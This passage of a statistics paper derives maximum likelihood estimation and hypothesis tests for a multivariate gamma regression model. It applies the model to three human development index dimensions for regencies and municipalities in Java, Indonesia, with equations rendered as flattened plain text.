$f ( y l 1 , y l 2 , … , y l k ) = ( y l 1 − λ 1 ) α 1 − 1 ( y l 2 − y l 1 − λ 2 ) α 2 − 1 ⋯ ( y l k − y l ( k − 1 ) − λ k ) α k − 1 e − y l k − ∑ i = 1 k λ i γ γ α k * Γ ( α 1 ) Γ ( α 2 ) ⋯ Γ ( α k ) ,$
with $α i > 0 , γ > 0 , λ i ∈ R ,$ $λ 1 < y l 1 < ∞ , λ 2 < y l 2 < ∞ , λ k < y l k < ∞ ,$
• $α 1 = e x l T β 1 − λ 1 γ , α 2 = e x l T β 2 − e x l T β 1 − λ 2 γ , … , α k = e x l T β k − e x l T β k − 1 − λ k γ ,$
• $α k * = α 1 + α 2 + ⋯ + α k = e x l T β k − λ 1 − λ 2 − ⋯ − λ k γ ,$ otherwise $f ( y l 1 , y l 2 , … , y l k ) = 0$.
Later, we discuss parameter estimation on MGR using MLE. The likelihood function constructed from Equation (5) is:
with values based on Equation (5).
The log-likelihood function from Equation (6) is:
By substituting the values of according to Equation (5), the log-likelihood function is:
$log L ( γ , λ 1 , λ 2 , … , λ k , β 1 , β 2 , … , β k ) = ∑ l = 1 n e x l T β 1 − λ 1 − γ γ log ( y l 1 − λ 1 ) + ∑ l = 1 n e x l T β 2 − e x l T β 1 − λ 2 − γ γ log ( y l 2 − y l 1 − λ 2 ) + ⋯ + ∑ l = 1 n e x l T β k − e x l T β k − 1 − λ k − γ γ log ( y l k − y l ( k − 1 ) − λ k ) − ∑ l = 1 n y l k − λ 1 − λ 2 − ⋯ − λ k γ − ∑ l = 1 n e x l T β k − λ 1 − λ 2 − ⋯ − λ k γ log γ − ∑ l = 1 n log Γ ( e x l T β 1 − λ 1 γ ) − ∑ l = 1 n log Γ ( e x l T β 2 − e x l T β 1 − λ 2 γ ) − ⋯ − ∑ l = 1 n log Γ ( e x l T β k − e x l T β k − 1 − λ k γ ) .$
In this article, the log value is based on e or natural logarithm. The first derivatives of the log-likelihood function for each parameter are as follows.
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 1 , β 2 , … , β k ) ∂ γ = ∑ l = 1 n ( λ 1 − e x l T β 1 γ 2 log ( y l 1 − λ 1 ) ) + ∑ l = 1 n ( e x l T β 1 − e x l T β 2 + λ 2 γ 2 log ( y l 2 − y l 1 − λ 2 ) ) + ⋯ + ∑ l = 1 n ( e x l T β k − 1 − e x l T β k + λ k γ 2 log ( y l k − y l ( k − 1 ) − λ k ) ) + ∑ l = 1 n y l k γ 2 − n λ 1 γ 2 − n λ 2 γ 2 − n λ 3 γ 2 − ( n ( log γ ) λ 1 γ 2 − n λ 1 γ 2 + n ( log γ ) λ 2 γ 2 − n λ 2 γ 2 + n ( log γ ) λ 3 γ 2 − n λ 3 γ 2 + ∑ l = 1 n ( − ( log γ ) e x l T β k γ 2 + e x l T β k γ 2 ) ) − ∑ l = 1 n ( − 1 γ 2 ( Ψ ( e x l T β 1 − λ 1 γ ) ) ( e x l T β 1 − λ 1 ) ) − ∑ l = 1 n ( − 1 γ 2 ( Ψ ( e x l T β 2 − e x l T β 1 − λ 2 γ ) ) ( e x l T β 2 − e x l T β 1 − λ 2 ) ) − ⋯ − ∑ l = 1 n ( − 1 γ 2 ( Ψ ( e x l T β k − e x l T β k − 1 − λ k γ ) ) ( e x l T β k − e x l T β k − 1 − λ k ) ) ,$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 1 , β 2 , … , β k ) ∂ λ 1 = ∑ l = 1 n ( − log ( y l 1 − λ 1 ) γ − e x l T β 1 − λ 1 − γ γ ( y l 1 − λ 1 ) ) + n γ + n ( log γ ) γ − ∑ l = 1 n ( − 1 γ Ψ ( e x l T β 1 − λ 1 γ ) ) ,$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 1 , β 2 , … , β k ) ∂ λ 2 = ∑ l = 1 n ( − log ( y l 2 − y l 1 − λ 2 ) γ − e x l T β 2 − e x l T β 1 − λ 2 − γ γ ( y l 2 − y l 1 − λ 2 ) ) + n γ + n ( log γ ) γ − ∑ l = 1 n ( − 1 γ Ψ ( e x l T β 2 − e x l T β 1 − λ 2 γ ) ) ,$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 1 , β 2 , … , β k ) ∂ λ k = ∑ l = 1 n ( − log ( y l k − y l ( k − 1 ) − λ k ) γ − e x l T β k − e x l T β k − 1 − λ k − γ γ ( y l k − y l ( k − 1 ) − λ k ) ) + n γ + n ( log γ ) γ − ∑ l = 1 n ( − 1 γ Ψ ( e x l T β k − e x l T β k − 1 − λ k γ ) ) ,$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 1 , β 2 , … , β k ) ∂ β 1 = ∑ l = 1 n ( ( log ( y l 1 − λ 1 ) ) x l T e x l T β 1 γ ) − ∑ l = 1 n ( ( log ( y l 2 − y l 1 − λ 2 ) ) x l T e x l T β 1 γ ) − ∑ l = 1 n ( ( Ψ ( e x l T β 1 − λ 1 γ ) ) x l T e x l T β 1 γ ) − ∑ l = 1 n ( − ( Ψ ( e x l T β 2 − e x l T β 1 − λ 2 γ ) ) x l T e x l T β 1 γ ) ,$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 1 , β 2 , … , β k ) ∂ β 2 = ∑ l = 1 n ( ( log ( y l 2 − y l 1 − λ 2 ) ) x l T e x l T β 2 γ ) − ∑ l = 1 n ( ( Ψ ( e x l T β 2 − e x l T β 1 − λ 2 γ ) ) x l T e x l T β 2 γ ) − ∑ l = 1 n ( − ( Ψ ( e x l T β 3 − e x l T β 2 − λ 3 γ ) ) x l T e x l T β 2 γ ) ,$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 1 , β 2 , … , β k ) ∂ β k = ∑ l = 1 n ( ( log ( y l k − y l ( k − 1 ) − λ k ) ) x l T e x l T β k γ ) − ∑ l = 1 n ( ( log γ ) x l T e x l T β k γ ) − ∑ l = 1 n ( ( Ψ ( e x l T β k − e x l T β k − 1 − λ k γ ) ) x l T e x l T β k γ ) ,$
with $Ψ ( z )$ = digamma function, which is the first derivative of gamma function, formulated with $Ψ ( z ) = ∂ [ log Γ ( z ) ] d z = Γ ′ ( z ) Γ ( z ) .$
A maximum likelihood (ML) can be found by setting all the derivatives above to zero and solving the system. No closed-form solution to that system can be found. A numerical method is needed to obtain the solution, i.e., parameter estimate $γ ^ , λ ^ 1 , λ ^ 2 , … , λ ^ k , β ^ 1 , β ^ 2 , … , β ^ k .$ One of the numerical techniques that can be employed is the BHHH algorithm as follows.
• Step 1. Determine the initial value for where $γ ^ ( 0 ) > 0 , λ ^ 1 ( 0 ) , λ ^ 2 ( 0 ) , … , λ ^ k ( 0 ) ∈ R$ satisfies the constraints in Equation (5), and $β ^ 1 T ( 0 ) , β ^ 2 T ( 0 ) , … , β ^ k T ( 0 )$ are obtained from the estimate of univariate gamma regression. The Hessian $H ( θ ^ )$ in BHHH is approximated as the negative of the sum of the outer products of the gradients of individual observations. The gradient vector $g ( θ ^ )$ is a vector with each element consisting of the first derivative of the log-likelihood function for each of the estimated parameters.
• Step 2. Determine the tolerance limit so that the BHHH iteration process stops. In this study, the tolerance value used is $ε = 10 − 8 .$
• Step 3. Start the BHHH iteration using the following formula.
$θ ^ ( p + 1 ) = θ ^ ( p ) − H − 1 ( θ ^ ( p ) ) g ( θ ^ ( p ) ) ,$
with $p = 0 , 1 , 2 , … , p * .$
• Step 4. The iteration stops at the $p * − t h$ iteration if it satisfies $‖ θ ^ ( p * + 1 ) − θ ^ ( p * ) ‖ ≤ ε$. When converging, the last iteration produces an estimator value for each parameter.
The null hypothesis on the MGR model is $H 0 : β 11 = β 21 = ⋯ = β s 1 = β 12 = β 22 = ⋯ = β s 2 = ⋯ =$ $β 1 k = β 2 k = ⋯ = β s k = 0$ and alternative hypothesis H1. At least one $β q i ≠ 0 ,$ with $q = 1 , 2 , … , s , i = 1 ,$ $2 , … , k .$ $Ω = { γ , λ 1 , … , λ k , β 1 , β 2 , … , β k }$ is the set of parameters under the population. The $ω = { γ , λ 1 ,$ $… , λ k , β 01 , β 02 , … , β 0 k }$ is the set of parameters under the null hypothesis. The first derivatives of the log-likelihood function for each parameter under the null hypothesis are provided in Appendix A.
Proposition 1.
If $Ω$ is a set of parameters under the population, $ω$ is a set of parameters under the null hypothesis, and the hypothesis being used is the simultaneous test of MGR model, then the test statistic is $G 2 = − 2 log Λ = 2 log L ( Ω ^ ) − 2 log L ( ω ^ ) .$
A Corollary of Proposition 1:
The hypothesis being used in the simultaneous test of the MGR model in Section 2 can be stated in the following form: the null hypothesis is $β * = 0 ( s k × 1 )$ and the alternative hypothesis is $β * ≠ 0 ( s k × 1 ) ,$ with $β * = [ β 1 * T β 2 * T ⋯ β i * T ⋯ β k * T ] T$ and $β i * = [ β 1 i β 2 i ⋯ β s i ]$ for $i = 1 , 2 , … , k$.
It is noted that $θ ^ Ω$ and $θ ^ ω$ are estimators that maximize the likelihood and the log-likelihood functions under the population and under the null hypothesis. The principle of the MLE method is to maximize the likelihood functions [17]. The following are test statistics for the hypothesis being used in the simultaneous test of the MGR model in Section 2.
$Λ = L ( ω ^ ) L ( Ω ^ ) < Λ 0 ,$
where $Λ 0$ is a constant value between $0 < Λ 0 ≤ 1$.
$L ( ω ^ )$ and $L ( Ω ^ )$ in Equation (16) are:
$L ( ω ^ ) = ∏ l = 1 n ( ( y l 1 − λ ^ 1 ) α ^ 11 − 1 ( y l 2 − y l 1 − λ ^ 2 ) α ^ 22 − 1 ⋯ ( y l k − y l ( k − 1 ) − λ ^ k ) α ^ k k − 1 e − y l k − ∑ i = 1 k λ ^ i γ ^ γ ^ α ^ k k * Γ ( α ^ 11 ) Γ ( α ^ 22 ) ⋯ Γ ( α ^ k k ) ) ,$
and
$L ( Ω ^ ) = ∏ l = 1 n ( ( y l 1 − λ ^ 1 ) α ^ 1 − 1 ( y l 2 − y l 1 − λ ^ 2 ) α ^ 2 − 1 ⋯ ( y l k − y l ( k − 1 ) − λ ^ k ) α ^ k − 1 e − y l k − ∑ i = 1 k λ ^ i γ ^ γ ^ α ^ k * Γ ( α ^ 1 ) Γ ( α ^ 2 ) ⋯ Γ ( α ^ k ) ) ,$
with $α ^ 11 = e β ^ 01 − λ ^ 1 γ ^ , α ^ 22 = e β ^ 02 − e β ^ 01 − λ ^ 2 γ ^ , … , α ^ k k = e β ^ 0 k − e β ^ 0 ( k − 1 ) − λ ^ k γ ^ ,$
• $α ^ k k * = α ^ 11 + α ^ 22 + ⋯ + α ^ k k = e β ^ 0 k − λ ^ 1 − λ ^ 2 − ⋯ − λ ^ k γ ^ ,$
• $α ^ 1 = e x l T β ^ 1 − λ ^ 1 γ ^ , α ^ 2 = e x l T β ^ 2 − e x l T β ^ 1 − λ ^ 2 γ ^ , … , α ^ k = e x l T β ^ k − e x l T β ^ k − 1 − λ ^ k γ ^ , and α ^ k * = α ^ 1 + α ^ 2 + ⋯ + α ^ k = e x l T β ^ k − λ ^ 1 − λ ^ 2 − ⋯ − λ ^ k γ ^ .$
Based on Equation (17), $L ( ω ^ ) L ( Ω ^ )$ is difficult to simplify. To simplify the calculation, the test statistics in Equation (16) are expressed in a form equivalent to:
$( Λ ) − 2 = ( L ( ω ^ ) L ( Ω ^ ) ) − 2 = ( L ( Ω ^ ) L ( ω ^ ) ) 2 .$
The application of natural logarithms in Equation (18) obtains the following test statistics.
$G 2 = − 2 log Λ = − 2 log ( L ( ω ^ ) L ( Ω ^ ) ) = 2 log ( L ( Ω ^ ) L ( ω ^ ) ) = 2 log L ( Ω ^ ) − 2 log L ( ω ^ ) ,$
with $log L ( Ω ^ M G R ) = ∑ l = 1 n log ( f ( y l 1 , y l 2 , … , y l k | Ω ^ M G R ) )$
$log L ( Ω ^ M G R ) = ∑ l = 1 n e x l T β ^ 1 − λ ^ 1 − γ ^ γ ^ log ( y l 1 − λ ^ 1 ) + ∑ l = 1 n e x l T β ^ 2 − e x l T β ^ 1 − λ ^ 2 − γ ^ γ ^ log ( y l 2 − y l 1 − λ ^ 2 ) + ⋯ + ∑ l = 1 n e x l T β ^ k − e x l T β ^ k − 1 − λ ^ k − γ ^ γ ^ log ( y l k − y l ( k − 1 ) − λ ^ k ) − ∑ l = 1 n y l k − λ ^ 1 − λ ^ 2 − ⋯ − λ ^ k γ ^ − ∑ l = 1 n e x l T β ^ k − λ ^ 1 − λ ^ 2 − ⋯ − λ ^ k γ ^ log γ ^ − ∑ l = 1 n log Γ ( e x l T β ^ 1 − λ ^ 1 γ ^ ) − ∑ l = 1 n log Γ ( e x l T β ^ 2 − e x l T β ^ 1 − λ ^ 2 γ ^ ) − ⋯ − ∑ l = 1 n log Γ ( e x l T β ^ k − e x l T β ^ k − 1 − λ ^ k γ ^ ) ,$
$log L ( ω ^ M G R ) = ∑ l = 1 n log ( f ( y l 1 , y l 2 , … , y l k | ω ^ M G R ) )$
Proposition 2.
Based on Proposition 1, the distribution of test statistics $G 2$ is Chi-square with sk degrees of freedom, which can be written as follows.
$G 2 = 2 log L ( Ω ^ ) − 2 log L ( ω ^ ) → d χ s k 2 , n → ∞ .$
A Corollary of Proposition 2:
If $θ ^ Ω$ is an estimator that maximizes the likelihood and the log-likelihood functions under the population, $θ ^ ω$ is an estimator that maximizes the likelihood and the log-likelihood functions under the null hypothesis, based on Equation (19), so:
$Log L ( θ ω )$ function can be approached by Taylor’s second-degree expansion around $θ ^ Ω$ as follows.
$log L ( θ ω ) ≈ log L ( θ ^ Ω ) + g ( θ ^ Ω ) ( θ ω − θ ^ Ω ) − 1 2 ( θ ω − θ ^ Ω ) T [ I ( θ ^ Ω ) ] ( θ ω − θ ^ Ω ) ,$
with $g ( θ ^ Ω ) = ∂ log L ( θ Ω ) ∂ θ Ω | θ Ω = θ ^ Ω = 0$ and $I ( θ ^ Ω ) = − ∂ 2 log L ( θ Ω ) ∂ θ Ω ∂ ( θ Ω ) T | θ Ω = θ ^ Ω .$
Because $g ( θ ^ Ω ) = 0 ,$ then Equation (21) becomes:
$log L ( θ ω ) ≈ log L ( θ ^ Ω ) − 1 2 ( θ ω − θ ^ Ω ) T [ I ( θ ^ Ω ) ] ( θ ω − θ ^ Ω ) 2 ( log L ( θ ^ Ω ) − log L ( θ ω ) ) ≈ ( θ ^ Ω − θ ω ) T [ I ( θ ^ Ω ) ] ( θ ^ Ω − θ ω ) .$
$Log L ( θ ω )$ function can be approached by Taylor’s second-degree expansion around $θ ^ ω$ as follows.
$log L ( θ ω ) ≈ log L ( θ ^ ω ) + g ( θ ^ Ω ) ( θ ω − θ ^ ω ) − 1 2 ( θ ω − θ ^ ω ) T [ I ( θ ^ Ω ) ] ( θ ω − θ ^ ω ) .$
Because $g ( θ ^ Ω ) = 0 ,$ then Equation (23) becomes:
$log L ( θ ω ) ≈ log L ( θ ^ ω ) − 1 2 ( θ ω − θ ^ ω ) T [ I ( θ ^ Ω ) ] ( θ ω − θ ^ ω ) 2 ( log L ( θ ^ ω ) − log L ( θ ω ) ) ≈ ( θ ^ ω − θ ω ) T [ I ( θ ^ Ω ) ] ( θ ^ ω − θ ω ) .$
Based on Equations (22) and (24), the test statistics on Equation (20) can be stated as follows.
$G 2 = 2 ( log L ( θ ^ Ω ) − log L ( θ ω ) ) − 2 ( log L ( θ ^ ω ) − log L ( θ ω ) )$
$G 2 ≈ ( θ ^ Ω − θ ω ) T [ I ( θ ^ Ω ) ] ( θ ^ Ω − θ ω ) − ( θ ^ ω − θ ω ) T [ I ( θ ^ Ω ) ] ( θ ^ ω − θ ω ) .$
Equation (25) can be simplified by outlining the quadratic form of $( θ ^ Ω − θ ω ) T [ I ( θ ^ Ω ) ] ( θ ^ Ω − θ ω )$, so we obtained:
$2 ( log L ( θ ^ Ω ) − log L ( θ ^ ω ) ) ≈ β ^ * T ( [ I 11 ] − [ I 12 ] [ I 22 ] − 1 [ I 21 ] ) β ^ * ≈ β ^ * T [ I 11 ] − 1 β ^ * .$
From Equation (26), this can be obtained:
$β ^ * → d N ( 0 , [ I 11 ] ( s k × s k ) ) , n → ∞ ,$
$[ I 11 ] − 1 2 β ^ * → d N ( 0 , I s k ) .$
Based on Equation (28), the quadratic form given by Equation (26) distributed Chi-square with sk degrees of freedom is:
with $z = [ I 11 ] − 1 2 β ^ * → d N ( 0 , I s k ) , n → ∞ .$
sk is a vector dimension $β *$ or the difference between the number of parameter sets under the population with the number of parameter sets under the null hypothesis, symbolized by $n ( Ω ) − n ( ω ) .$
Proposition 3.
The critical area for testing the hypothesis of the MGR model regression parameters simultaneously with regard to Equation (16) is:
Based on Proposition 2 and Proposition 3, the decision to reject the null hypothesis is made if $G 2 > χ α ; d f 2$, with $d f = n ( Ω ) − n ( ω ) ,$ $n ( Ω )$ is the number of parameters under the population, and $n ( ω )$ is the number of parameters under the null hypothesis.
The null hypothesis for the partial test is $H 0 : β q i = 0$, whereas the alternative is $H 1 : β q i ≠ 0$, with $q = 1 , 2 , … , s , i = 1 , 2 , … k$. According to Pawitan [18], the test statistic is stated in Equation (31).
$Z = β ^ q i S E ( β ^ q i ) ,$
with $S E ( β ^ q i ) = var ^ ( β ^ q i )$. The $var ^ ( β ^ q i )$ is diagonal elements that correspond to the $− H − 1 ( θ ^ )$ matrix. The null hypothesis is rejected if $| Z | > Z α / 2 .$
## 3. Data and Method
The parameter estimation and hypothesis testing on MGR were done based on the following steps. The MGR model was specified based on the pdf in Equation (5) for n observations, l = 1, 2, …, n, to construct the likelihood and the log-likelihood functions. The first derivative of the log-likelihood function for each parameter was computed, then equalized to zero. If the solutions were closed-form, then the parameter estimators were obtained. Otherwise, numerical optimization was needed. As shown in the previous section, the solution for parameter optimization was not closed-form, such that the BHHH algorithm was employed in this work.
The overall test for MGR’s significance was done using the maximum likelihood ratio test (MLRT). The test statistic was formulated in Equation (19). Meanwhile, the partial test for individual parameter significance in MGR was done using the Wald test [18]. Its test statistics are provided in Equation (31). The proposed MGR model, along with its parameter estimation and hypothesis testing, was applied on real data as an application of this study.
This study used secondary data obtained from Statistics Indonesia. The data used were three response variables, i.e., the life expectancy index, education index, and expenditure index, with six predictor variables: percentage of households that have a private toilet, net enrollment rate of schooling, population density, percentage of poor people, and unemployment rate. The data were observed for 119 regencies/municipalities in Java, Indonesia, in the year 2018.
## 4. Application on Human Development Dimensions Data
First, testing the gamma distribution was done using the Kolmogorov–Smirnov (KS) test. The null hypothesis is the data that follows the gamma distribution against the alternative hypothesis that data does not follow the gamma distribution. The test statistic value of the KS test for each response variable is presented in Table 1. In this paper, the goodness of fit is done univariately as the test for multivariate gamma distribution is not available yet. The test for that is another extensive work that is not covered in this paper. Once each response follows gamma distribution, we assume the multiresponses data follow a multivariate gamma distribution. This assumption is the limitation of this work, such that the proposed model can be applied to real data without delay.
Each response variable has $D n < D ( 0.05 )$ and p-value > α. The test concludes not to reject the null hypothesis, meaning that the data of life expectancy index (Y1), the education index (Y2), and the expenditure index (Y3) follow the gamma distribution. Therefore, as our research limitation, as mentioned previously, the three response variables are assumed to follow MG distribution.
To support our assumption, we calculated the correlation between the pair of the response variables to show there are dependencies among responses. The correlation coefficients for each pair are as follows: (i) Y1 and Y2 is 0.398 with p-value close to zero, (ii) Y1 and Y3 is 0.324 with p-value close to zero, (iii) Y2 and Y3 is 0.818 with p-value close to zero. The correlation coefficient between education index (Y2) and expenditure index (Y3) is stronger than the other pairs. To find out whether there is dependency among the response variables, one can use Bartlett’s test of sphericity so that the data are feasible for multivariate analysis. This test has statistic value $χ 2 = 148.735$ and p-value = 2.22 × 10−16. The $χ 2 > χ 2 3 ; 0 , 05$ (or 7.815) and p-value < α, and alpha is 0.05. The decision is to reject the null hypothesis (Pearson correlation matrix not equal to an identity matrix), which means the correlation between the response variables is significant in the multivariate sense. Therefore, the data analysis needs to be done in a multivariate way using the MGR model.
We also tested the multicollinearity among the predictor variables. The variance inflation factor (VIF) value for each predictor variable is 1.358 (for X1), 1.350 (X2), 1.560 (X3), 1.849 (X4), and 1.211 (X5). The VIF value for each of the predictor variables is less than ten which shows there is no multicollinearity among the predictor variables.
In Table 2, the mean values for response variables Y1, Y2, and Y3 are 0.806, 0.632, and 0.735. Although Y1, Y2, and Y3 have mean values that do not differ greatly, they are not necessarily of the same quality; it depends on the size of the spread of the data. One measure of data distribution that can be used is the coefficient of variation (CoV). The CoV for Y1, Y2, and Y3 are 5.200, 12.210, and 9.140, respectively. The CoV for education index (Y2) is the highest among others, which means that the variable is more heterogeneous. The CoV for predictor variables X1, X2, X3, X4, and X5 are, respectively, 12.100, 16.750, 136.250, 43.750, and 45.530. The CoV for population density (X3) is the highest among other predictor variables as its range is also the biggest one.
The dependency between response and predictor variables can be shown visually by the matrix plot, as exhibited in Figure 1. The correlation between X3 and X4 (−0.585) is stronger than the correlation between X4 and the other predictor variables, even stronger than other pairs. The correlation between X1 and X5 (−0.017) is weakest compared to the correlation of other couples. There are indications that the relationship is non-linear between X3 with the response variable and the other predictor variables. For the correlation between response and predictor variables, log(Y1) has the strongest correlation with X1 (0.434) compared to other predictors. The log(Y2) and X3 have the strongest correlation (0.705) compared with other predictors, while the correlation of log(Y3) and X3 is the strongest one (0.744). This value shows that log expenditure index and population density has the strongest relationship among other pairs.
To find out which predictor variables significantly predicted response variables, we employed the MGR model. Table 3 presents the ML estimates of the MGR model with a single predictor and their corresponding standard errors, z score, and p-value. Every single predictor does not affect any response variables. Only the intercepts when the MGR model employs X3 as a single predictor are significant.
The MGR model with a single predictor (for example, the X5) for the life expectancy index, education index, and expenditure index is obtained as follows.
$μ ^ l 1 = exp ( − 0.168892 − 0.006666 X l 5 ) , μ ^ l 2 = exp ( − 0.460389 + 0.006020 X l 5 ) , μ ^ l 3 = exp ( − 0.279763 + 0.003974 X l 5 ) .$
As summarized in Table 3, it is shown that all predictor variables are not significant. For comparison, we also did MGR modeling with multiple predictors. Table 4 presents the ML estimates of the MGR model with multiple predictors along with their corresponding standard errors, z score, and p-value.
The estimate of the scale parameter is 0.649423, with its standard error 0.000028. The estimate of $λ 1$, the location parameter for Y1, is 0.670845 (standard error 0.006884); meanwhile, the estimate for $λ 2$ is −0.309362, with standard error 0.006507, and for $λ 3$ is 0.000468 (standard error 0.006530). The significant parameters are the scale parameter $γ$, the location parameter for Y1 and Y2, respectively, and $λ 1$ and $λ 2$, as their p-values are less than $α = 10 % .$ The estimate of each parameter corresponding to each predictor is summarized in Table 4. Therefore, the MGR model for the life expectancy index, education index, and expenditure index is obtained as follows.
$μ ^ l 1 = exp ( − 0.353421 + 0.002005 X l 1 + 0.000653 X l 2 + 0.000004 X l 3 − 0.000469 X l 4 − 0.009502 X l 5 ) μ ^ l 2 = exp ( − 0.606408 + 0.000207 X l 1 + 0.004706 X l 2 + 0.000012 X l 3 − 0.011729 l 4 − 0.011194 X l 5 ) μ ^ l 3 = exp ( − 0.274026 + 0.000779 X l 1 + 0.000298 X l 2 + 0.000013 X l 3 − 0.006542 X l 4 − 0.007994 X l 5 )$
The Akaike information criterion (AIC) value is −63.903, and the corrected Akaike information criterion (AICc) value is −53.361. To know the average squared difference between the estimated and the actual values, one can use the mean square error (MSE). The MSEs for the life expectancy index, education index, and expenditure index are 0.001, 0.002, and 0.003, respectively. As the MSE is an unbiased estimator of variance, the MSE value is expected to be not much different from the variance of each response variable, i.e., 0.002 (expectancy index), 0.006 (education index), and 0.004 (expenditure index).
We can perform the simultaneous test for the model’s significance using Wilk’s likelihood ratio statistics derived based on the MLRT. The test statistic value is 46.682, and the value of the Chi-square table with 15 degrees of freedom and $α = 10 %$ is 22.307. The test statistical value is larger than the value of the Chi-square table; therefore, the decision is to reject the null hypothesis. It means that the five predictor variables have a significant effect on the response variables simultaneously. To find out the predictor variables that partially affect the response variable, one can use test statistics in Equation (31). From Table 4, it can be seen that the significant predictor variable that influences the life expectancy index is the unemployment rate (X5); meanwhile the education index and expenditure index are significantly affected by the percentage of poor people (X4) and unemployment rate (X5).
Based on the results of MGR modeling with a single predictor (Table 3) and multiple predictors (Table 4), it can be determined the differences in the coefficient signs only happen for X5 in response to Y2 and Y3, as shown in Table 5. We can also find the supports of this evidence from the matrix plot in Figure 1, that individually, X5 has a negative relationship with Y1, while it has positive dependencies with Y2 and Y3. On the other side, the X4 has a stronger negative individual relationship with all responses. Therefore, when X4 and X5 are used as predictors together in the MGR model, the sign of X5 changes as there is a significant correlation (−0.391 with p-value < 0.05) between X4 and X5, where X4 affects the response of Y2 and Y3 is stronger than X5.
.
Recall the VIF value for X5 is 1.211, which is small. This value means that there is a weak relationship between X5 and (X1, X2, X3, and X4). However, there is a significant correlation between X4 alone and X5. In the MGR with multiple predictors, the positive sign for X5 will not change if X4 also has a positive sign for responses X2 and X3. Unfortunately, that is not the case. The correlation between X4 and X2 has a different sign compared with the correlation between X5 and X2. The sign of X4 and X5 in MGR with multiple predictors can change depending on its correlation with the response variable. The same explanation pertains to response X3.
Life expectancy index (Y1) has a negative association with the percentage of poor people (X4), even though it is not significant for regency/municipality in Java. This finding means that an increase in life expectancy index is not affected by the percentage of poor people in Java. The education index (Y2) and expenditure index (Y3) have a significant negative dependency on the percentage of poor people in Java.
The predictions resulting from the MGR model are expected to be close to the actual values. The closer those two values, the narrower the spread, as displayed in Figure 2. It can be seen that fitting values for Y2 and Y3 are better than those of Y1. This result is also supported by significant predictors, as reported in Table 4. The life expectancy index has one significant predictor, while the other two responses have two significant predictors that increase their coefficients of determination.
## 5. Conclusions
The proposed MGR model has been developed along with its parameter estimation and hypothesis testing. The solution of parameter estimation using MLE is not closed-form such that it is optimized numerically using the BHHH algorithm. The MLRT and Wald tests are employed for testing the model’s significance and the individual parameter, respectively. The proposed MGR model is applied to model the three dimensions of the human development index (HDI) with five predictor variables. The empirical results show that modeling using multiple predictors makes more sense compared to the model when it only employs a single predictor. When multiple predictors are used in the MGR model, there is a possibility that the sign of a particular parameter changes compared to when it is employed alone. This is a common problem that arises in modeling caused by collinearity among predictors. This issue can be overcome in future work.
## Author Contributions
Conceptualization, A.R., P., S., and D.D.P.; methodology, P. and S.; software, A.R. and D.D.P.; validation, P. and D.D.P.; formal analysis, A.R. and D.D.P.; investigation, A.R.; data curation, A.R.; writing—original draft preparation, A.R.; writing—review and editing, D.D.P.; visualization, S.; supervision, P. and S.; project administration, P. and S.; All authors have read and agreed to the published version of the manuscript.
## Funding
The first author thanks the Kemendikbud, the Republic of Indonesia, which has given the BPPDN scholarship, and Bina Nusantara University. All authors thank LPPM (Research center) of the Institut Teknologi Sepuluh Nopember that funded this study via the Postgraduate Research Scheme in 2019 with grant number: 1153/PKS/ITS/2019.
## Acknowledgments
The authors thank the editor and the reviewers for their constructive and helpful comments.
## Conflicts of Interest
The authors declare no conflict of interest.
## Nomenclature
AIC Akaike information criterion AICc Corrected Akaike information criterion BHHH Berndt–Hall–Hall–Hausman CoV Coefficient of variation GLR Generalized likelihood ratio HDI Human development index KS Kolmogorov–Smirnov MG Multivariate gamma MGR Multivariate gamma regression ML Maximum likelihood MLE Maximum likelihood estimation MLRT Maximum likelihood ratio test MSE Mean square error Pdf Probability density function TGR Trivariate gamma regression VIF Variance inflation factor
## Appendix A
The first derivatives of the log-likelihood function for each parameter under the null hypothesis.
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 01 , β 02 , … , β 0 k ) ∂ γ = ∑ l = 1 n ( λ 1 − e β 01 γ 2 log ( y l 1 − λ 1 ) ) +$
$∑ l = 1 n ( e β 01 − e β 02 + λ 2 γ 2 log ( y l 2 − y l 1 − λ 2 ) ) + ⋯ + ∑ l = 1 n ( e β 0 ( k − 1 ) − e β 0 k + λ k γ 2 log ( y l k − y l ( k − 1 ) − λ k ) ) +$
$∑ l = 1 n y l k γ 2 − n λ 1 γ 2 − n λ 2 γ 2 − n λ 3 γ 2 − ( n ( log γ ) λ 1 γ 2 − n λ 1 γ 2 + n ( log γ ) λ 2 γ 2 − n λ 2 γ 2 + n ( log γ ) λ 3 γ 2 − n λ 3 γ 2 + ( − ( log γ ) e β 0 k γ 2 + e β 0 k γ 2 ) ) − ( − 1 γ 2 ( Ψ ( e β 01 − λ 1 γ ) ) ( e β 01 − λ 1 ) ) − ( − 1 γ 2 ( Ψ ( e β 02 − e β 01 − λ 2 γ ) ) ( e β 02 − e β 01 − λ 2 ) ) −$
$⋯ − ( − 1 γ 2 ( Ψ ( e β 0 k − e β 0 ( k − 1 ) − λ k γ ) ) ( e β 0 k − e β 0 ( k − 1 ) − λ k ) ) .$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 01 , β 02 , … , β 0 k ) ∂ λ 1 = ∑ l = 1 n ( − log ( y l 1 − λ 1 ) γ − e β 01 − λ 1 − γ γ ( y l 1 − λ 1 ) ) + n γ + n ( log γ ) γ − ( − 1 γ Ψ ( e β 01 − λ 1 γ ) ) .$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 01 , β 02 , … , β 0 k ) ∂ λ 2 = ∑ l = 1 n ( − log ( y l 2 − y l 1 − λ 2 ) γ − e β 02 − e β 01 − λ 2 − γ γ ( y l 2 − y l 1 − λ 2 ) ) + n γ + n ( log γ ) γ − ( − 1 γ Ψ ( e β 02 − e β 01 − λ 2 γ ) ) .$
$∂ log L ( γ , λ 1 , λ 2 , … , λ k , β 01 , β 02 , … , β 0 k ) ∂ λ k = ∑ l = 1 n ( − log ( y l k − y l ( k − 1 ) − λ k ) γ − e β 0 k − e β 0 ( k − 1 ) − λ k − γ γ ( y l k − y l ( k − 1 ) − λ k ) ) + n γ +$
$n ( log γ ) γ − ( − 1 γ Ψ ( e β 0 k − e β 0 ( k − 1 ) − λ k γ ) ) .$
